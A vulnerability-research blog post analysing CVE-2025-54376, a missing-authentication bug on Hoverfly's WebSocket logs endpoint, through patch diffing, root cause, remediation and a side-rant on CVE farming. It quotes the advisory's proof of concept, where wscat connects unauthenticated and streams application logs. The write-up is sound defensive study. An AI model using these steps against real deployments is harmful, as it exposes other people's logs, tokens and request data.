CVE-2025-54376: Hoverfly WebSocket Auth Bypass

Root cause analysis of CVE-2025-54376 (Authentication Middleware Missing for WebSocket Endpoint in hoverfly)

Introduction

I want to kick off this blog with a small tutorial introduction into vulnerability research. We'll pick a recent CVE and look at the root cause, exploitability and remediation.

Some criteria for the selection:

  • CVE published today (18/09/25)

  • Open source (easy patch diffing)

Choosing a CVE for Analysis

First step is picking a candidate CVE. Some common sources:

Why might we pick open source? It makes patch diffing trivial; you can grab vulnerable and patched versions from git, run git diff, and immediately see what changed. Version control gives you a clean view of the root cause, and small, well-scoped fixes (bounds checks, input validation, auth logic) are perfect for quick analysis.

Whereas if we picked closed source, things get harder. You're usually stuck with vendor firmware blobs or installers, and no clean view of what changed. Patch diffing means working with raw binaries in tools like Ghidra, Cutter or BinDiff, and often involves a lot of guesswork. It is still doable, but setup takes longer and the scope can be huge (thousands of functions touched). We'll save this for a future post 👀

In this instance, I check most recent CVEs on the NVD search page. I was going to go for the very first one (CVE-2025-10667); SQL injection on an open source web app.

That was until I did a short investigation. The site (itsourcecode) hosts downloadable source code in ZIP format. The CVE is for a "Online Discussion Forum 1.0", which is essentially a PHP website template from 2015.

CVE Farming (Side-rant)

Really? People are submitting CVEs like this? Yep, as of today there's 339 CVEs disclosed for itsourcecode. Many are just the same vuln reported on different endpoints 😩

In one case, the same vulnerability is disclosed on a different endpoint within a 24 hour period. The PoC/writeups look identical, but they are submitted by different users, e.g. CVE-2025-10033 vs CVE-2025-10068.

CVE-2025-10667 a week later is yet another GitHub account, with the same writeup - sometimes they don't even update the endpoint in the PoC 🙄 Anyway, I hear people talking about CVE farming but this seems ridiculous (and possibly automated).

CVE-2025-54376: Authentication Middleware Missing for WebSocket Endpoint

CVE-2025-54376 looks like a better candidate. It's an improper authentication / sensitive information disclosure vulnerability in the open-source hoverfly project.

Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.

According to the advisory, the patch (commit ffc2cc34563de67fe1a04f7ba5d78fa2d4564424) ensures the same authentication requirements applied to REST endpoints now apply to WebSocket connections.

  • Affected: Hoverfly <= 1.11.3

  • Fixed in: Hoverfly 1.12.0

Patch Diffing

In some cases, developers bury their security fixes among many other changes - especially painful when working with large binaries. Thankfully, this patch is very easy to diff 🙏 Two files changed, the first is logs_handler.go

diff --git a/core/handlers/v2/logs_handler.go b/core/handlers/v2/logs_handler.go
index d4dc361ef..406c53c6c 100644
--- a/core/handlers/v2/logs_handler.go
+++ b/core/handlers/v2/logs_handler.go
@@ -39,7 +39,10 @@ func (this *LogsHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler)
 		negroni.HandlerFunc(this.Options),
 	))

-	mux.Get("/api/v2/ws/logs", http.HandlerFunc(this.GetWS))
+	mux.Get("/api/v2/ws/logs", negroni.New(
+		negroni.HandlerFunc(am.RequireTokenAuthentication),
+		negroni.Wrap(http.HandlerFunc(this.GetWS)),
+	))
 }

 func (this *LogsHandler) Get(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {

Here's the important bit; the RequireTokenAuthentication check was added to the WebSocket endpoint (/api/v2/ws/logs).

mux.Get("/api/v2/ws/logs", negroni.New(
		negroni.HandlerFunc(am.RequireTokenAuthentication),
		negroni.Wrap(http.HandlerFunc(this.GetWS)),
	))
}

The other changed file is start_test.go

diff --git a/functional-tests/hoverctl/start_test.go b/functional-tests/hoverctl/start_test.go
index aaa91a4e9..be20c41dc 100644
--- a/functional-tests/hoverctl/start_test.go
+++ b/functional-tests/hoverctl/start_test.go
@@ -185,6 +185,9 @@ var _ = Describe("hoverctl `start`", func() {
 			response := functional_tests.DoRequest(sling.New().Get("http://localhost:8888/api/v2/hoverfly"))
 			Expect(response.StatusCode).To(Equal(401))

+			response = functional_tests.DoRequest(sling.New().Get("http://localhost:8888/api/v2/ws/logs"))
+			Expect(response.StatusCode).To(Equal(401))
+
 			response = functional_tests.DoRequest(sling.New().Post("http://localhost:8888/api/token-auth").BodyJSON(backends.User{
 				Username: functional_tests.HoverflyUsername,
 				Password: functional_tests.HoverflyPassword,

The code is just adding a new unit test, to ensure that unauthenticated users get a 401 (unauthorised) response code when accessing the /logs endpoint.

response = functional_tests.DoRequest(sling.New().Get("http://localhost:8888/api/v2/ws/logs"))
Expect(response.StatusCode).To(Equal(401))

Root Cause Analysis

The bug is simple: REST endpoints were already protected with the RequireTokenAuthentication middleware, but the WebSocket endpoint /api/v2/ws/logs was not. That meant an unauthenticated client could upgrade to a WebSocket and stream logs directly.

In code terms:

// vulnerable
mux.Get("/api/v2/ws/logs", http.HandlerFunc(this.GetWS))

// patched
mux.Get("/api/v2/ws/logs", negroni.New(
	negroni.HandlerFunc(am.RequireTokenAuthentication),
	negroni.Wrap(http.HandlerFunc(this.GetWS)),
))

Key points:

  • Auth middleware was missing on the WS route, so no token check occurred during the upgrade handshake.

  • This exposed sensitive logs (file paths, tokens, request/response bodies) to any remote attacker with network access.

  • The fix wraps the handler with RequireTokenAuthentication, enforcing the same authentication process as the REST API.

Exploitability

The GH security advisory contains a PoC (see below). It demonstrates that a remote attacker can bypass authentication and receive full application logs, including proxied request/response bodies, tokens, file paths, etc.

PoC

  1. Start Hoverfly with authentication enabled.

./hoverfly -auth
  1. Confirm REST API requires credentials.

curl -i http://localhost:8888/api/v2/hoverfly/version
  1. Connect to the WebSocket endpoint without credentials.

wscat -c ws://localhost:8888/api/v2/ws/logs

Connected (press CTRL+C to quit)
  1. Send a message to start receiving stream.

> hi!

< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}

Remediation

Upgrade to Hoverfly v1.12.0 or later.

Conclusion

In this first CVE analysis post, we took a look at a very recent, but simple vulnerability. A key lesson here is that middleware inconsistencies (REST vs WebSocket) are a surprisingly common source of auth bypasses. The next patch-diffing exercise will be harder, and include some binary reversing 🧠

Last updated